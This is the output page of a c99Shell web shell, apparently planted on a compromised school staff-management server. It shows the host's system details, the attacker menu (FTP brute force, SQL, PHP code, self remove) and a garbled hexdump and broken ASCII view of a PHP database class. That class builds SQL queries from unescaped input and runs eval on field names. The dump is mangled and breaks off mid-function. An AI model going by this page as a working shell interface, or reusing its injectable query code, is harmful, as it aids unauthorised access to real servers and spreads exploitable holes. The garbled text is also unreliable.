!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/teacher/class/   drwxr-xr-x
Free 40.66 GB of 127.8 GB (31.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsPerson.php (5.01 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Information:
Path /var/www/html/manage/teacher/class/clsPerson.php
Size 5.01 KB
MD5 b3c05160730cfa84274240744c51687c
Owner/Group apache/apache
Perms-rw-r--r--
Create time 03/07/2013 18:31:17
Access time 08/10/2024 12:49:32
MODIFY time 06/08/2009 20:17:22

FULL HEXDUMP
00000000
00000018
00000030
00000048
00000060
00000078
00000090
000000A8
000000C0
000000D8
000000F0
00000108
00000120
00000138
00000150
00000168
00000180
00000198
000001B0
000001C8
000001E0
000001F8
00000210
00000228
00000240
00000258
00000270
00000288
000002A0
000002B8
000002D0
000002E8
00000300
00000318
00000330
00000348
00000360
00000378
00000390
000003A8
000003C0
000003D8
000003F0
00000408
00000420
00000438
00000450
00000468
00000480
00000498
000004B0
000004C8
000004E0
000004F8
00000510
00000528
00000540
00000558
00000570
00000588
000005A0
000005B8
000005D0
000005E8
00000600
00000618
00000630
00000648
00000660
00000678
00000690
000006A8
000006C0
000006D8
000006F0
00000708
00000720
00000738
00000750
00000768
00000780
00000798
000007B0
000007C8
000007E0
000007F8
00000810
00000828
00000840
00000858
00000870
00000888
000008A0
000008B8
000008D0
000008E8
00000900
00000918
00000930
00000948
00000960
00000978
00000990
000009A8
000009C0
000009D8
000009F0
00000A08
00000A20
00000A38
00000A50
00000A68
00000A80
00000A98
00000AB0
00000AC8
00000AE0
00000AF8
00000B10
00000B28
00000B40
00000B58
00000B70
00000B88
00000BA0
00000BB8
00000BD0
00000BE8
00000C00
00000C18
00000C30
00000C48
00000C60
00000C78
00000C90
00000CA8
00000CC0
00000CD8
00000CF0
00000D08
00000D20
00000D38
00000D50
00000D68
00000D80
00000D98
00000DB0
00000DC8
00000DE0
00000DF8
00000E10
00000E28
00000E40
00000E58
00000E70
00000E88
00000EA0
00000EB8
00000ED0
00000EE8
00000F00
00000F18
00000F30
00000F48
00000F60
00000F78
00000F90
00000FA8
00000FC0
00000FD8
00000FF0
00001008
00001020
00001038
00001050
00001068
00001080
00001098
000010B0
000010C8
000010E0
000010F8
00001110
00001128
00001140
00001158
00001170
00001188
000011A0
000011B8
000011D0
000011E8
00001200
00001218
00001230
00001248
00001260
00001278
00001290
000012A8
000012C0
000012D8
000012F0
00001308
00001320
00001338
00001350
00001368
00001380
00001398
000013B0
000013C8
000013E0
000013F8
3C 3F 70 68 70 0D 0A 2F 2F 2D 2D 43 6C 61 73 73 20 70 65 72 73 6F 6E 2D
2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D
2D 0D 0A 2F 2F 2D 2D 50 4B 20 6F 66 20 70 65 72 73 6F 6E 20 3A 3A 0D 0A
2F 2F 09 31 2E 20 70 65 72 73 6F 6E 49 64 0D 0A 0D 0A 63 6C 61 73 73 20
70 65 72 73 6F 6E 20 65 78 74 65 6E 64 73 20 63 6C 73 44 42 7B 0D 0A 0D
0A 76 61 72 20 24 72 65 73 75 6C 74 3B 0D 0A 0D 0A 76 61 72 20 24 70 65
72 73 6F 6E 49 64 3B 0D 0A 76 61 72 20 24 64 65 70 74 49 64 3B 0D 0A 76
61 72 20 24 77 6F 72 6B 47 70 49 64 3B 20 0D 0A 76 61 72 20 24 70 72 65
66 69 78 49 64 3B 0D 0A 76 61 72 20 24 66 4E 61 6D 65 3B 0D 0A 76 61 72
20 24 6C 4E 61 6D 65 3B 0D 0A 76 61 72 20 24 66 53 74 61 74 75 73 3B 0D
0A 76 61 72 20 24 61 64 6D 69 6E 49 64 3B 0D 0A 76 61 72 20 24 66 52 65
74 69 72 65 3B 0D 0A 76 61 72 20 24 68 69 72 65 49 64 3B 0D 0A 0D 0A 66
75 6E 63 74 69 6F 6E 20 70 65 72 73 6F 6E 28 26 24 63 29 7B 0D 0A 09 24
74 68 69 73 2D 3E 63 3D 24 63 2D 3E 63 3B 0D 0A 09 24 74 68 69 73 2D 3E
44 42 3D 24 63 2D 3E 64 62 3B 0D 0A 7D 0D 0A 0D 0A 66 75 6E 63 74 69 6F
6E 20 53 61 76 65 28 29 7B 0D 0A 09 69 66 20 28 24 74 68 69 73 2D 3E 73
74 61 74 75 73 3D 3D 31 29 7B 0D 0A 09 09 2F 2F 75 6E 63 6F 6D 6D 65 6E
74 20 61 20 6C 69 6E 65 20 62 65 6C 6F 77 20 69 66 20 79 6F 75 72 20 74
61 62 6C 65 20 75 73 65 20 49 44 20 61 73 20 72 75 6E 6E 69 6E 67 20 6E
75 6D 62 65 72 0D 0A 09 09 2F 2F 24 74 68 69 73 2D 3E 70 65 72 73 6F 6E
49 64 3D 24 74 68 69 73 2D 3E 47 65 74 4E 65 78 74 43 6F 64 65 28 29 3B
0D 0A 09 09 2F 2F 65 63 68 6F 20 24 73 71 6C 2E 22 3C 62 72 3E 22 3B 0D
0A 09 09 24 73 71 6C 20 3D 20 22 69 6E 73 65 72 74 20 69 6E 74 6F 20 50
65 72 73 6F 6E 20 76 61 6C 75 65 73 28 0D 0A 09 09 09 27 24 74 68 69 73
2D 3E 70 65 72 73 6F 6E 49 64 27 2C 0D 0A 20 09 09 09 27 24 74 68 69 73
2D 3E 64 65 70 74 49 64 27 2C 0D 0A 20 09 09 09 27 24 74 68 69 73 2D 3E
77 6F 72 6B 47 70 49 64 27 2C 0D 0A 20 09 09 09 27 24 74 68 69 73 2D 3E
70 72 65 66 69 78 49 64 27 2C 0D 0A 20 09 09 09 27 24 74 68 69 73 2D 3E
66 4E 61 6D 65 27 2C 0D 0A 20 09 09 09 27 24 74 68 69 73 2D 3E 6C 4E 61
6D 65 27 2C 0D 0A 20 09 09 09 27 24 74 68 69 73 2D 3E 66 53 74 61 74 75
73 27 2C 0D 0A 09 09 09 27 24 74 68 69 73 2D 3E 61 64 6D 69 6E 49 64 27
2C 0D 0A 09 09 09 27 24 74 68 69 73 2D 3E 66 52 65 74 69 72 65 27 2C 0D
0A 09 09 09 27 24 74 68 69 73 2D 3E 68 69 72 65 49 64 27 0D 0A 09 09 09
29 22 3B 0D 0A 09 7D 65 6C 73 65 20 7B 0D 0A 09 09 24 73 71 6C 20 3D 20
22 75 70 64 61 74 65 20 50 65 72 73 6F 6E 20 73 65 74 20 0D 0A 09 09 09
64 65 70 74 49 64 3D 27 24 74 68 69 73 2D 3E 64 65 70 74 49 64 27 2C 20
0D 0A 09 09 09 77 6F 72 6B 47 70 49 64 3D 27 24 74 68 69 73 2D 3E 77 6F
72 6B 47 70 49 64 27 2C 20 0D 0A 09 09 09 70 72 65 66 69 78 49 64 3D 27
24 74 68 69 73 2D 3E 70 72 65 66 69 78 49 64 27 2C 20 0D 0A 09 09 09 66
4E 61 6D 65 3D 27 24 74 68 69 73 2D 3E 66 4E 61 6D 65 27 2C 20 0D 0A 09
09 09 6C 4E 61 6D 65 3D 27 24 74 68 69 73 2D 3E 6C 4E 61 6D 65 27 2C 20
0D 0A 09 09 09 66 53 74 61 74 75 73 3D 27 24 74 68 69 73 2D 3E 66 53 74
61 74 75 73 27 2C 0D 0A 09 09 09 61 64 6D 69 6E 49 64 3D 27 24 74 68 69
73 2D 3E 61 64 6D 69 6E 49 64 27 2C 0D 0A 09 09 09 66 52 65 74 69 72 65
3D 27 24 74 68 69 73 2D 3E 66 52 65 74 69 72 65 27 2C 0D 0A 09 09 09 68
69 72 65 49 64 3D 27 24 74 68 69 73 2D 3E 68 69 72 65 49 64 27 0D 0A 09
09 09 77 68 65 72 65 20 70 65 72 73 6F 6E 49 64 3D 27 24 74 68 69 73 2D
3E 70 65 72 73 6F 6E 49 64 27 22 3B 0D 0A 09 7D 0D 0A 09 72 65 74 75 72
6E 20 24 74 68 69 73 2D 3E 44 6D 6C 28 24 73 71 6C 29 3B 0D 0A 7D 0D 0A
0D 0A 66 75 6E 63 74 69 6F 6E 20 44 65 6C 65 74 65 28 29 7B 0D 0A 09 72
65 74 75 72 6E 20 24 74 68 69 73 2D 3E 44 6D 6C 28 22 64 65 6C 65 74 65
20 66 72 6F 6D 20 50 65 72 73 6F 6E 20 77 68 65 72 65 20 70 65 72 73 6F
6E 49 64 3D 27 24 74 68 69 73 2D 3E 70 65 72 73 6F 6E 49 64 27 22 29 3B
0D 0A 7D 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 47 65 74 4E 65 78 74 43
6F 64 65 28 29 7B 0D 0A 09 24 74 68 69 73 2D 3E 53 65 74 51 75 65 72 79
28 22 73 65 6C 65 63 74 20 6D 61 78 28 70 65 72 73 6F 6E 49 64 29 20 61
73 20 6E 75 6D 20 66 72 6F 6D 20 50 65 72 73 6F 6E 22 29 3B 0D 0A 09 69
66 20 28 24 72 65 73 75 6C 74 3D 24 74 68 69 73 2D 3E 47 65 74 52 65 73
75 6C 74 28 29 29 20 7B 0D 0A 09 09 72 65 74 75 72 6E 20 24 72 65 73 75
6C 74 5B 27 6E 75 6D 27 5D 2B 31 3B 0D 0A 09 7D 0D 0A 7D 0D 0A 0D 0A 66
75 6E 63 74 69 6F 6E 20 52 53 70 65 72 73 6F 6E 28 29 7B 0D 0A 09 24 74
68 69 73 2D 3E 53 65 74 51 75 65 72 79 28 22 73 65 6C 65 63 74 20 2A 20
66 72 6F 6D 20 50 65 72 73 6F 6E 20 20 77 68 65 72 65 20 66 53 74 61 74
75 73 3D 27 31 27 20 61 6E 64 20 66 52 65 74 69 72 65 3D 27 30 27 20 6F
72 64 65 72 20 62 79 20 70 65 72 73 6F 6E 49 64 22 29 3B 0D 0A 7D 0D 0A
66 75 6E 63 74 69 6F 6E 20 52 53 70 65 72 73 6F 6E 32 28 29 7B 0D 0A 09
24 74 68 69 73 2D 3E 53 65 74 51 75 65 72 79 28 22 73 65 6C 65 63 74 20
2A 20 66 72 6F 6D 20 50 65 72 73 6F 6E 20 20 6F 72 64 65 72 20 62 79 20
70 65 72 73 6F 6E 49 64 22 29 3B 0D 0A 7D 0D 0A 66 75 6E 63 74 69 6F 6E
20 47 65 74 52 65 63 6F 72 64 28 29 7B 0D 0A 09 24 6E 75 6D 46 69 65 6C
64 73 20 3D 20 24 74 68 69 73 2D 3E 4E 75 6D 46 69 65 6C 64 28 29 3B 0D
0A 09 24 72 6F 77 20 3D 20 24 74 68 69 73 2D 3E 47 65 74 52 65 73 75 6C
74 28 29 3B 0D 0A 09 69 66 20 28 24 72 6F 77 29 7B 0D 0A 09 09 66 6F 72
20 28 24 69 3D 30 3B 20 24 69 3C 24 6E 75 6D 46 69 65 6C 64 73 3B 20 24
69 2B 2B 29 7B 0D 0A 09 09 09 65 76 61 6C 28 22 5C 24 74 68 69 73 2D 3E
22 2E 6D 79 73 71 6C 5F 66 69 65 6C 64 5F 6E 61 6D 65 28 24 74 68 69 73
2D 3E 72 73 2C 20 24 69 29 2E 22 3D 5C 24 72 6F 77 5B 27 22 2E 6D 79 73
71 6C 5F 66 69 65 6C 64 5F 6E 61 6D 65 28 24 74 68 69 73 2D 3E 72 73 2C
20 24 69 29 2E 22 27 5D 3B 22 29 3B 0D 0A 09 09 7D 0D 0A 09 09 72 65 74
75 72 6E 20 74 72 75 65 3B 0D 0A 09 7D 65 6C 73 65 7B 09 2F 2F 20 63 6C
65 61 72 20 76 61 6C 75 65 20 6F 66 20 4D 65 6D 62 65 72 3B 0D 0A 09 09
66 6F 72 20 28 24 69 3D 30 3B 20 24 69 3C 24 6E 75 6D 46 69 65 6C 64 73
3B 20 24 69 2B 2B 29 7B 0D 0A 09 09 09 65 76 61 6C 28 22 5C 24 74 68 69
73 2D 3E 22 2E 6D 79 73 71 6C 5F 66 69 65 6C 64 5F 6E 61 6D 65 28 24 74
68 69 73 2D 3E 72 73 2C 20 24 69 29 2E 22 3D 27 27 3B 22 29 3B 0D 0A 09
09 7D 0D 0A 09 09 72 65 74 75 72 6E 20 66 61 6C 73 65 3B 0D 0A 09 7D 0D
0A 7D 0D 0A 66 75 6E 63 74 69 6F 6E 20 53 65 61 72 63 68 42 79 4B 65 79
28 24 78 4B 65 79 29 7B 0D 0A 09 69 66 20 28 24 74 68 69 73 2D 3E 53 65
74 51 75 65 72 79 28 22 73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 50 65
72 73 6F 6E 20 77 68 65 72 65 20 70 65 72 73 6F 6E 49 64 3D 20 27 24 78
4B 65 79 27 20 6F 72 64 65 72 20 62 79 20 70 65 72 73 6F 6E 49 64 20 61
73 63 22 29 29 7B 20 0D 0A 09 09 72 65 74 75 72 6E 20 31 3B 0D 0A 09 7D
65 6C 73 65 20 7B 0D 0A 09 09 72 65 74 75 72 6E 20 30 3B 0D 0A 09 7D 0D
0A 7D 0D 0A 2F 2F 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
20 59 6F 75 20 63 61 6E 20 61 64 64 20 6E 65 77 20 66 75 6E 63 74 69 6F
6E 73 20 62 65 6C 6F 77 20 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A
2A 2A 2A 2A 2A 2A 2A 2F 2F 0D 0A 66 75 6E 63 74 69 6F 6E 20 43 6F 75 6E
74 50 65 72 73 6F 6E 42 79 44 50 49 44 28 24 78 4B 65 79 2C 24 79 4B 65
79 29 7B 0D 0A 09 24 74 68 69 73 2D 3E 53 65 74 51 75 65 72 79 28 22 73
65 6C 65 63 74 20 63 6F 75 6E 74 28 70 65 72 73 6F 6E 49 64 29 20 61 73
20 6E 75 6D 20 66 72 6F 6D 20 50 65 72 73 6F 6E 20 77 68 65 72 65 20 28
64 65 70 74 49 64 3D 20 27 24 78 4B 65 79 27 20 6F 72 20 64 65 70 74 49
64 3D 20 27 24 79 4B 65 79 27 29 20 61 6E 64 20 66 53 74 61 74 75 73 3D
31 20 61 6E 64 20 66 52 65 74 69 72 65 3D 30 22 29 3B 0D 0A 09 69 66 20
28 24 72 65 73 75 6C 74 3D 24 74 68 69 73 2D 3E 47 65 74 52 65 73 75 6C
74 28 29 29 20 7B 0D 0A 09 09 72 65 74 75 72 6E 20 24 72 65 73 75 6C 74
5B 27 6E 75 6D 27 5D 3B 0D 0A 09 7D 0D 0A 7D 0D 0A 66 75 6E 63 74 69 6F
6E 20 43 6F 75 6E 74 50 65 72 73 6F 6E 28 29 7B 0D 0A 09 24 74 68 69 73
2D 3E 53 65 74 51 75 65 72 79 28 22 73 65 6C 65 63 74 20 63 6F 75 6E 74
28 70 65 72 73 6F 6E 49 64 29 20 61 73 20 6E 75 6D 20 66 72 6F 6D 20 50
65 72 73 6F 6E 20 77 68 65 72 65 20 66 53 74 61 74 75 73 3D 31 20 61 6E
64 20 66 52 65 74 69 72 65 3D 30 22 29 3B 0D 0A 09 69 66 20 28 24 72 65
73 75 6C 74 3D 24 74 68 69 73 2D 3E 47 65 74 52 65 73 75 6C 74 28 29 29
20 7B 0D 0A 09 09 72 65 74 75 72 6E 20 24 72 65 73 75 6C 74 5B 27 6E 75
6D 27 5D 3B 0D 0A 09 7D 0D 0A 7D 0D 0A 66 75 6E 63 74 69 6F 6E 20 43 6F
75 6E 74 50 65 72 73 6F 6E 44 65 70 74 28 24 78 4B 65 79 29 7B 0D 0A 09
24 74 68 69 73 2D 3E 53 65 74 51 75 65 72 79 28 22 73 65 6C 65 63 74 20
63 6F 75 6E 74 28 70 65 72 73 6F 6E 49 64 29 20 61 73 20 6E 75 6D 20 66
72 6F 6D 20 50 65 72 73 6F 6E 20 77 68 65 72 65 20 64 65 70 74 49 64 3D
27 24 78 4B 65 79 27 20 61 6E 64 20 66 53 74 61 74 75 73 3D 31 20 61 6E
64 20 66 52 65 74 69 72 65 3D 30 22 29 3B 0D 0A 09 69 66 20 28 24 72 65
73 75 6C 74 3D 24 74 68 69 73 2D 3E 47 65 74 52 65 73 75 6C 74 28 29 29
20 7B 0D 0A 09 09 72 65 74 75 72 6E 20 24 72 65 73 75 6C 74 5B 27 6E 75
6D 27 5D 3B 0D 0A 09 7D 0D 0A 7D 0D 0A 66 75 6E 63 74 69 6F 6E 20 53 65
61 72 63 68 42 79 44 50 49 44 28 24 78 4B 65 79 2C 24 79 4B 65 79 29 7B
0D 0A 2F 2F 2D 2D A4 E9 B9 CB D2 A2 E9 CD C1 D9 C5 B5 D2 C1 20 50 4B 20
B5 E9 CD A7 C3 D0 BA D8 BE D2 C3 D2 C1 D4 E0 B5 CD C3 EC B4 E9 C7 C2 20
E1 C5 D0 B5 E9 CD A7 B5 D2 C1 B4 E9 C7 C2 E0 C1 B8 CD B4 20 47 65 74 52
65 63 6F 72 64 28 29 20 E0 CA C1 CD 0D 0A 09 69 66 20 28 24 74 68 69 73
2D 3E 53 65 74 51 75 65 72 79 28 22 73 65 6C 65 63 74 20 2A 20 66 72 6F
6D 20 50 65 72 73 6F 6E 20 77 68 65 72 65 20 28 64 65 70 74 49 64 3D 20
27 24 78 4B 65 79 27 20 6F 72 20 64 65 70 74 49 64 3D 20 27 24 79 4B 65
79 27 29 20 61 6E 64 20 66 53 74 61 74 75 73 3D 31 20 61 6E 64 20 66 52
65 74 69 72 65 3D 30 20 6F 72 64 65 72 20 62 79 20 70 65 72 73 6F 6E 49
64 20 61 73 63 22 29 29 7B 20 0D 0A 09 09 72 65 74 75 72 6E 20 31 3B 0D
0A 09 7D 65 6C 73 65 20 7B 0D 0A 09 09 72 65 74 75 72 6E 20 30 3B 0D 0A
09 7D 0D 0A 7D 0D 0A 66 75 6E 63 74 69 6F 6E 20 53 65 61 72 63 68 42 79
44 65 70 74 49 64 28 24 78 4B 65 79 29 7B 0D 0A 09 69 66 20 28 24 74 68
69 73 2D 3E 53 65 74 51 75 65 72 79 28 22 73 65 6C 65 63 74 20 2A 20 66
72 6F 6D 20 50 65 72 73 6F 6E 20 77 68 65 72 65 20 64 65 70 74 49 64 3D
20 27 24 78 4B 65 79 27 20 61 6E 64 20 66 53 74 61 74 75 73 3D 31 20 61
6E 64 20 66 52 65 74 69 72 65 3D 30 20 6F 72 64 65 72 20 62 79 20 70 65
72 73 6F 6E 49 64 20 61 73 63 22 29 29 7B 20 0D 0A 09 09 72 65 74 75 72
6E 20 31 3B 0D 0A 09 7D 65 6C 73 65 20 7B 0D 0A 09 09 72 65 74 75 72 6E
20 30 3B 0D 0A 09 7D 0D 0A 7D 0D 0A 66 75 6E 63 74 69 6F 6E 20 53 65 61
72 63 68 42 79 44 65 70 74 49 64 61 64 6D 69 6E 49 64 28 24 78 4B 65 79
29 7B 0D 0A 09 69 66 20 28 24 74 68 69 73 2D 3E 53 65 74 51 75 65 72 79
28 22 73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 50 65 72 73 6F 6E 20 77
68 65 72 65 20 64 65 70 74 49 64 3D 20 27 24 78 4B 65 79 27 20 61 6E 64
20 66 53 74 61 74 75 73 3D 31 20 61 6E 64 20 66 52 65 74 69 72 65 3D 30
20 6F 72 64 65 72 20 62 79 20 61 64 6D 69 6E 49 64 20 61 73 63 20 2C 20
68 69 72 65 49 64 20 61 73 63 22 29 29 7B 20 0D 0A 09 09 72 65 74 75 72
6E 20 31 3B 0D 0A 09 7D 65 6C 73 65 20 7B 0D 0A 09 09 72 65 74 75 72 6E
20 30 3B 0D 0A 09 7D 0D 0A 7D 0D 0A 66 75 6E 63 74 69 6F 6E 20 43 6F 75
6E 74 50 65 72 73 6F 6E 44 65 70 74 57 6F 72 6B 47 72 6F 75 70 28 24 78
4B 65 79 2C 24 79 4B 65 79 29 7B 0D 0A 09 24 74 68 69 73 2D 3E 53 65 74
51 75 65 72 79 28 22 73 65 6C 65 63 74 20 63 6F 75 6E 74 28 70 65 72 73
6F 6E 49 64 29 20 61 73 20 6E 75 6D 20 66 72 6F 6D 20 50 65 72 73 6F 6E
20 77 68 65 72 65 20 64 65 70 74 49 64 3D 27 24 78 4B 65 79 27 20 61 6E
64 20 66 53 74 61 74 75 73 3D 31 20 61 6E 64 20 66 52 65 74 69 72 65 3D
30 20 61 6E 64 20 77 6F 72 6B 47 70 49 64 20 3D 20 27 24 79 4B 65 79 27
22 29 3B 0D 0A 09 69 66 20 28 24 72 65 73 75 6C 74 3D 24 74 68 69 73 2D
3E 47 65 74 52 65 73 75 6C 74 28 29 29 20 7B 0D 0A 09 09 72 65 74 75 72
6E 20 24 72 65 73 75 6C 74 5B 27 6E 75 6D 27 5D 3B 0D 0A 09 7D 0D 0A 7D
0D 0A 66 75 6E 63 74 69 6F 6E 20 53 65 61 72 63 68 42 79 4E 61 6D 65 28
24 78 4B 65 79 29 7B 0D 0A 09 69 66 20 28 24 74 68 69 73 2D 3E 53 65 74
51 75 65 72 79 28 22 73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 50 65 72
73 6F 6E 20 77 68 65 72 65 20 28 66 4E 61 6D 65 20 6C 69 6B 65 20 27 25
24 78 4B 65 79 25 27 20 6F 72 20 6C 4E 61 6D 65 20 6C 69 6B 65 20 27 25
24 78 4B 65 79 25 27 29 20 6F 72 64 65 72 20 62 79 20 70 65 72 73 6F 6E
49 64 20 61 73 63 22 29 29 7B 20 0D 0A 09 09 72 65 74 75 72 6E 20 31 3B
0D 0A 09 7D 65 6C 73 65 20 7B 0D 0A 09 09 72 65 74 75 72 6E 20 30 3B 0D
0A 09 7D 0D 0A 7D 0D 0A 66 75 6E 63 74 69 6F 6E 20 53 65 61 72 63 68 66
4E 61 6D 65 6C 4E 61 6D 65 28 24 78 4B 65 79 2C 24 79 4B 65 79 29 7B 0D
0A 09 69 66 20 28 24 74 68 69 73 2D 3E 53 65 74 51 75 65 72 79 28 22 73
65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 50 65 72 73 6F 6E 20 77 68 65 72
65 20 28 66 4E 61 6D 65 20 3D 27 24 78 4B 65 79 27 20 61 6E 64 20 6C 4E
61 6D 65 20 3D 20 27 24 79 4B 65 79 27 29 20 6F 72 64 65 72 20 62 79 20
70 65 72 73 6F 6E 49 64 20 61 73 63 22 29 29 7B 20 0D 0A 09 09 72 65 74
75 72 6E 20 31 3B 0D 0A 09 7D 65 6C 73 65 20 7B 0D 0A 09 09 72 65 74 75
72 6E 20 30 3B 0D 0A 09 7D 0D 0A 7D 0D 0A 66 75 6E 63 74 69 6F 6E 20 52
53 50 65 72 73 6F 6E 66 31 64 65 70 74 28 24 78 4B 65 79 29 7B 0D 0A 09
2F 2F 0D 0A 20 20 20 20 24 74 68 69 73 2D 3E 64 70 53 65 74 20 3D 20 66
61 6C 73 65 3B 0D 0A 09 24 74 68 69 73 2D 3E 53 65 74 51 75 65 72 79 28
22 73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 50 65 72 73 6F 6E 20 77 68
65 72 65 20 66 53 74 61 74 75 73 20 3D 20 31 20 61 6E 64 20 66 52 65 74
69 72 65 3D 30 20 61 6E 64 20 64 65 70 74 49 64 3D 27 24 78 4B 65 79 27
20 6F 72 64 65 72 20 62 79 20 70 65 72 73 6F 6E 49 64 20 61 73 63 22 29
3B 0D 0A 7D 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 52 53 50 65 72 73 6F
6E 66 31 28 29 7B 0D 0A 09 24 74 68 69 73 2D 3E 53 65 74 51 75 65 72 79
28 22 73 65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 50 65 72 73 6F 6E 20 77
68 65 72 65 20 66 53 74 61 74 75 73 20 3D 20 31 20 6F 72 64 65 72 20 62
79 20 70 65 72 73 6F 6E 49 64 20 61 73 63 22 29 3B 0D 0A 7D 0D 0A 66 75
6E 63 74 69 6F 6E 20 52 53 50 65 72 73 6F 6E 66 31 50 45 28 24 78 4B 65
79 29 7B 0D 0A 09 24 74 68 69 73 2D 3E 53 65 74 51 75 65 72 79 28 22 73
65 6C 65 63 74 20 2A 20 66 72 6F 6D 20 24 78 4B 65 79 2E 50 65 72 73 6F
6E 20 77 68 65 72 65 20 66 53 74 61 74 75 73 20 3D 20 31 20 6F 72 64 65
72 20 62 79 20 70 65 72 73 6F 6E 49 64 20 61 73 63 22 29 3B 0D 0A 7D 0D
0A 66 75 6E 63 74 69 6F 6E 20 53 65 61 72 63 68 42 79 44 65 70 74 49 64
32 28 24 78 4B 65 79 29 7B 0D 0A 2F 2F 65 63 68 6F 20 22 73 65 6C 65 63
74 20 70 65 72 73 6F 6E 49 64 2C 20 6C 4E 61 6D 65 2C 66 4E 61 6D 65 2C
70 72 65 66 69 78 49 64 2C 20 64 65 70 74 49 64 20 66 72 6F 6D 20 50 65
72 73 6F 6E 20 77 68 65 72 65 20 64 65 70 74 49 64 3D 27 24 78 4B 65 79
27 20 61 6E 64 20 66 52 65 74 69 72 65 3D 30 20 6F 72 64 65 72 20 62 79
20 70 65 72 73 6F 6E 49 64 20 61 73 63 3C 62 72 3E 22 3B 0D 0A 09 69 66
20 28 24 74 68 69 73 2D 3E 53 65 74 51 75 65 72 79 28 22 73 65 6C 65 63
74 20 70 65 72 73 6F 6E 49 64 2C 20 6C 4E 61 6D 65 2C 66 4E 61 6D 65 2C
70 72 65 66 69 78 49 64 2C 20 64 65 70 74 49 64 20 66 72 6F 6D 20 50 65
72 73 6F 6E 20 77 68 65 72 65 20 64 65 70 74 49 64 3D 27 24 78 4B 65 79
27 20 61 6E 64 20 66 52 65 74 69 72 65 3D 30 20 6F 72 64 65 72 20 62 79
20 70 65 72 73 6F 6E 49 64 20 61 73 63 22 29 29 7B 20 0D 0A 09 09 72 65
74 75 72 6E 20 31 3B 0D 0A 09 7D 65 6C 73 65 20 7B 0D 0A 09 09 72 65 74
75 72 6E 20 30 3B 0D 0A 09 7D 0D 0A 7D 0D 0A 7D 20 2F 2F 2D 2D 45 6E 64
20 63 6C 61 73 73 20 70 65 72 73 6F 6E 2D 2D 0D 0A 0D 0A 3F 3E
<?php  //--Class person-
------------------------
-  //--PK of person ::  
// 1. personId    class 
person extends clsDB{   
 var $result;    var $pe
rsonId;  var $deptId;  v
ar $workGpId;   var $pre
fixId;  var $fName;  var
 $lName;  var $fStatus; 
 var $adminId;  var $fRe
tire;  var $hireId;    f
unction person(&$c){   $
this->c=$c->c;   $this->
DB=$c->db;  }    functio
n Save(){   if ($this->s
tatus==1){   //uncommen
t a line below if your t
able use ID as running n
umber   //$this->person
Id=$this->GetNextCode();
   //echo $sql."<br>"; 
  $sql = "insert into P
erson values(   '$this
->personId',    '$this
->deptId',    '$this->
workGpId',    '$this->
prefixId',    '$this->
fName',    '$this->lNa
me',    '$this->fStatu
s',   '$this->adminId'
,   '$this->fRetire', 
  '$this->hireId'  
)";   }else {   $sql = 
"update Person set   
deptId='$this->deptId', 
   workGpId='$this->wo
rkGpId',    prefixId='
$this->prefixId',    f
Name='$this->fName',   
lName='$this->lName', 
   fStatus='$this->fSt
atus',   adminId='$thi
s->adminId',   fRetire
='$this->fRetire',   h
ireId='$this->hireId'  
where personId='$this-
>personId'";   }   retur
n $this->Dml($sql);  }  
  function Delete(){   r
eturn $this->Dml("delete
 from Person where perso
nId='$this->personId'");
  }    function GetNextC
ode(){   $this->SetQuery
("select max(personId) a
s num from Person");   i
f ($result=$this->GetRes
ult()) {   return $resu
lt['num']+1;   }  }    f
unction RSperson(){   $t
his->SetQuery("select * 
from Person  where fStat
us='1' and fRetire='0' o
rder by personId");  }  
function RSperson2(){  
$this->SetQuery("select 
* from Person  order by 
personId");  }  function
 GetRecord(){   $numFiel
ds = $this->NumField(); 
  $row = $this->GetResul
t();   if ($row){   for
 ($i=0; $i<$numFields; $
i++){   eval("\$this->
".mysql_field_name($this
->rs, $i)."=\$row['".mys
ql_field_name($this->rs,
 $i)."'];");   }   ret
urn true;   }else{ // cl
ear value of Member;  
for ($i=0; $i<$numFields
; $i++){   eval("\$thi
s->".mysql_field_name($t
his->rs, $i)."='';");  
}   return false;   } 
 }  function SearchByKey
($xKey){   if ($this->Se
tQuery("select * from Pe
rson where personId= '$x
Key' order by personId a
sc")){    return 1;   }
else {   return 0;   } 
 }  //******************
 You can add new functio
ns below ***************
*******//  function Coun
tPersonByDPID($xKey,$yKe
y){   $this->SetQuery("s
elect count(personId) as
 num from Person where (
deptId= '$xKey' or deptI
d= '$yKey') and fStatus=
1 and fRetire=0");   if 
($result=$this->GetResul
t()) {   return $result
['num'];   }  }  functio
n CountPerson(){   $this
->SetQuery("select count
(personId) as num from P
erson where fStatus=1 an
d fRetire=0");   if ($re
sult=$this->GetResult())
 {   return $result['nu
m'];   }  }  function Co
untPersonDept($xKey){  
$this->SetQuery("select 
count(personId) as num f
rom Person where deptId=
'$xKey' and fStatus=1 an
d fRetire=0");   if ($re
sult=$this->GetResult())
 {   return $result['nu
m'];   }  }  function Se
archByDPID($xKey,$yKey){
  //--ค้นหาข้อมูลตาม PK 
ต้องระบุพารามิเตอร์ด้วย 
และต้องตามด้วยเมธอด GetR
ecord() เสมอ   if ($this
->SetQuery("select * fro
m Person where (deptId= 
'$xKey' or deptId= '$yKe
y') and fStatus=1 and fR
etire=0 order by personI
d asc")){    return 1; 
  }else {   return 0;  
}  }  function SearchBy
DeptId($xKey){   if ($th
